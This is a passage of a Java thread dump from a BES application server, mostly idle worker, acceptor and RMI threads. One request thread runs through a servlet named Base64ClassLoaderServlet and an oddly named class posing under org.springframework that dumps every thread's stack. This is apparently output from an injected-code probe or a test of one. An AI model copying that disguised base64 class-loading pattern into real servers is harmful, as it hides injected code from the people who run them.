at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"http-nio-0.0.0.0-8080-Acceptor" #71 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at [email protected]/sun.nio.ch.Net.accept(Native Method)
|
||||||
|
at [email protected]/sun.nio.ch.ServerSocketChannelImpl.implAccept(ServerSocketChannelImpl.java:425)
|
||||||
|
at [email protected]/sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:391)
|
||||||
|
at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:604)
|
||||||
|
at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:85)
|
||||||
|
at com.bes.enterprise.web.util.net.Acceptor.run(Acceptor.java:125)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"Spark_4" #84 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@87f8d44
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at [email protected]/java.lang.Object.wait(Native Method)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-2" #61 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e17a3b9
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"RMI TCP Accept-6600" #88 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at [email protected]/sun.nio.ch.Net.accept(Native Method)
|
||||||
|
at [email protected]/sun.nio.ch.NioSocketImpl.accept(NioSocketImpl.java:760)
|
||||||
|
at [email protected]/java.net.ServerSocket.implAccept(ServerSocket.java:675)
|
||||||
|
at [email protected]/java.net.ServerSocket.platformImplAccept(ServerSocket.java:641)
|
||||||
|
at [email protected]/java.net.ServerSocket.implAccept(ServerSocket.java:617)
|
||||||
|
at [email protected]/java.net.ServerSocket.implAccept(ServerSocket.java:574)
|
||||||
|
at [email protected]/java.net.ServerSocket.accept(ServerSocket.java:532)
|
||||||
|
at [email protected]/sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:413)
|
||||||
|
at [email protected]/sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"PoolIdleReleaseTimer" #96 daemon [TIMED_WAITING] on java.util.TaskQueue@5bfaeca3
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at [email protected]/java.lang.Object.wait(Native Method)
|
||||||
|
at [email protected]/java.util.TimerThread.mainLoop(Timer.java:563)
|
||||||
|
at [email protected]/java.util.TimerThread.run(Timer.java:516)
|
||||||
|
|
||||||
|
"Notification Thread" #15 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
|
||||||
|
"Common Lib Watcher" #19 daemon [TIMED_WAITING]
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at [email protected]/java.lang.Thread.sleep(Native Method)
|
||||||
|
at app//com.bes.enterprise.appserver.startup.CommonClassLoader$1.run(CommonClassLoader.java:90)
|
||||||
|
|
||||||
|
"Spark_1" #81 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@87f8d44
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at [email protected]/java.lang.Object.wait(Native Method)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||||
|
|
||||||
|
"RMI RenewClean-[192.168.215.5:6600]" #93 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@3f961999
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at [email protected]/java.lang.Object.wait(Native Method)
|
||||||
|
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155)
|
||||||
|
at [email protected]/sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:559)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"LogFileManager.EventManager" #45 daemon [WAITING] on java.lang.Object@59772d56
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/java.lang.Object.wait(Native Method)
|
||||||
|
at [email protected]/java.lang.Object.wait(Object.java:338)
|
||||||
|
at com.bes.org.objectweb.howl.log.LogFileManager$EventManager.run(LogFileManager.java:1236)
|
||||||
|
|
||||||
|
"http-nio-0.0.0.0-1900-Acceptor" #69 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at [email protected]/sun.nio.ch.Net.accept(Native Method)
|
||||||
|
at [email protected]/sun.nio.ch.ServerSocketChannelImpl.implAccept(ServerSocketChannelImpl.java:425)
|
||||||
|
at [email protected]/sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:391)
|
||||||
|
at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:604)
|
||||||
|
at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:85)
|
||||||
|
at com.bes.enterprise.web.util.net.Acceptor.run(Acceptor.java:125)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"Common-Cleaner" #14 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@70c3b8f1
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at [email protected]/java.lang.Object.wait(Native Method)
|
||||||
|
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155)
|
||||||
|
at [email protected]/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
at [email protected]/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162)
|
||||||
|
|
||||||
|
"SelectorReaderThread-1900-1" #68 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at [email protected]/sun.nio.ch.EPoll.wait(Native Method)
|
||||||
|
at [email protected]/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118)
|
||||||
|
at [email protected]/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129)
|
||||||
|
at [email protected]/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141)
|
||||||
|
at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:873)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"Spark_3" #83 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@87f8d44
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at [email protected]/java.lang.Object.wait(Native Method)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||||
|
|
||||||
|
"Reference Handler" #2 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at [email protected]/java.lang.ref.Reference.waitForReferencePendingList(Native Method)
|
||||||
|
at [email protected]/java.lang.ref.Reference.processPendingReferences(Reference.java:253)
|
||||||
|
at [email protected]/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:215)
|
||||||
|
|
||||||
|
"bes-deployment-scheduled-executor-thread." #78 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7c50cdbe
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679)
|
||||||
|
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182)
|
||||||
|
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"jmsra-WorkerThread-3" #50 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@66781f39
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"httpWorkerThread-1900-4" #59 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e311b2e
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-5" #64 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at [email protected]/java.lang.Thread.dumpThreads(Native Method)
|
||||||
|
at [email protected]/java.lang.Thread.getAllStackTraces(Thread.java:1671)
|
||||||
|
at org.springframework.EZQui.ErrorCphpbHandler.toString(BasicInfoPrinter.java:26)
|
||||||
|
at [email protected]/java.lang.String.valueOf(String.java:4220)
|
||||||
|
at com.bes.enterprise.webtier.connector.CoyoteWriter.print(CoyoteWriter.java:240)
|
||||||
|
at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:225)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:158)
|
||||||
|
at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:16)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:187)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:158)
|
||||||
|
at com.bes.enterprise.web.websocket.server.WsFilter.doFilter(WsFilter.java:49)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:187)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:158)
|
||||||
|
at EmptyFilter.doFilter(EmptyFilter.java:12)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:187)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:158)
|
||||||
|
at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:21)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:187)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:158)
|
||||||
|
at com.bes.enterprise.webtier.core.DefaultWrapperValve.invoke(DefaultWrapperValve.java:192)
|
||||||
|
at com.bes.enterprise.webtier.core.DefaultContextValve.invoke(DefaultContextValve.java:109)
|
||||||
|
at com.bes.enterprise.webext.BesContextCleanupValve.invoke(BesContextCleanupValve.java:50)
|
||||||
|
at com.bes.enterprise.webext.BESAppservValve.invoke(BESAppservValve.java:41)
|
||||||
|
at com.bes.enterprise.webtier.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:538)
|
||||||
|
at com.bes.enterprise.webtier.core.DefaultHostValve.invoke(DefaultHostValve.java:132)
|
||||||
|
at com.bes.enterprise.webext.BESSecurityListener$BESSecurityRequestValve.invoke(BESSecurityListener.java:95)
|
||||||
|
at com.bes.enterprise.webtier.valves.ErrorReportValve.invoke(ErrorReportValve.java:87)
|
||||||
|
at com.bes.enterprise.webtier.core.DefaultEngineValve.invoke(DefaultEngineValve.java:74)
|
||||||
|
at com.bes.enterprise.webtier.connector.CoyoteAdapter.service(CoyoteAdapter.java:373)
|
||||||
|
at com.bes.enterprise.web.crane.http11.Http11Processor.service(Http11Processor.java:467)
|
||||||
|
at com.bes.enterprise.web.crane.AbstractProcessorLight.process(AbstractProcessorLight.java:61)
|
||||||
|
at com.bes.enterprise.web.crane.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:956)
|
||||||
|
at com.bes.enterprise.web.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1947)
|
||||||
|
at com.bes.enterprise.web.util.net.SocketProcessorBase.run(SocketProcessorBase.java:47)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1193)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"Spark_6" #86 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@87f8d44
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at [email protected]/java.lang.Object.wait(Native Method)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||||
|
|
||||||
|
"Spark_5" #85 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@87f8d44
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at [email protected]/java.lang.Object.wait(Native Method)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||||
|
|
||||||
|
"RMI TCP Connection(2)-192.168.215.5" #94 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at [email protected]/sun.nio.ch.Net.poll(Native Method)
|
||||||
|
at [email protected]/sun.nio.ch.NioSocketImpl.park(NioSocketImpl.java:186)
|
||||||
|
at [email protected]/sun.nio.ch.NioSocketImpl.timedRead(NioSocketImpl.java:290)
|
||||||
|
at [email protected]/sun.nio.ch.NioSocketImpl.implRead(NioSocketImpl.java:314)
|
||||||
|
at [email protected]/sun.nio.ch.NioSocketImpl.read(NioSocketImpl.java:355)
|
||||||
|
at [email protected]/sun.nio.ch.NioSocketImpl$1.read(NioSocketImpl.java:808)
|
||||||
|
at [email protected]/java.net.Socket$SocketInputStream.read(Socket.java:966)
|
||||||
|
at [email protected]/java.io.BufferedInputStream.fill(BufferedInputStream.java:244)
|
||||||
|
at [email protected]/java.io.BufferedInputStream.read(BufferedInputStream.java:263)
|
||||||
|
at [email protected]/java.io.FilterInputStream.read(FilterInputStream.java:82)
|
||||||
|
at [email protected]/sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:569)
|
||||||
|
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:828)
|
||||||
|
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:705)
|
||||||
|
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$473/0x00000008016c27b8.run(Unknown Source)
|
||||||
|
at [email protected]/java.security.AccessController.executePrivileged(AccessController.java:776)
|
||||||
|
at [email protected]/java.security.AccessController.doPrivileged(AccessController.java:399)
|
||||||
|
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:704)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"bes-deployment-thread-2" #77 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@7305597c
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252)
|
||||||
|
at [email protected]/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:401)
|
||||||
|
at [email protected]/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:903)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
at com.bes.enterprise.appserv.deployment.DeploymentExecutorService$TerminableThread.run(DeploymentExecutorService.java:89)
|
||||||
|
|
||||||
|
"httpWorkerThread-1900-2" #56 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e311b2e
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"Signal Dispatcher" #4 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-7" #66 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e17a3b9
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"RMI Scheduler(0)" #92 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1378c7d7
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679)
|
||||||
|
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182)
|
||||||
|
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@7e91e179
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/java.lang.Object.wait(Native Method)
|
||||||
|
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155)
|
||||||
|
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176)
|
||||||
|
at [email protected]/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:172)
|
||||||
|
|
||||||
|
"RMI TCP Connection(1)-192.168.215.5" #91 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at [email protected]/sun.nio.ch.Net.poll(Native Method)
|
||||||
|
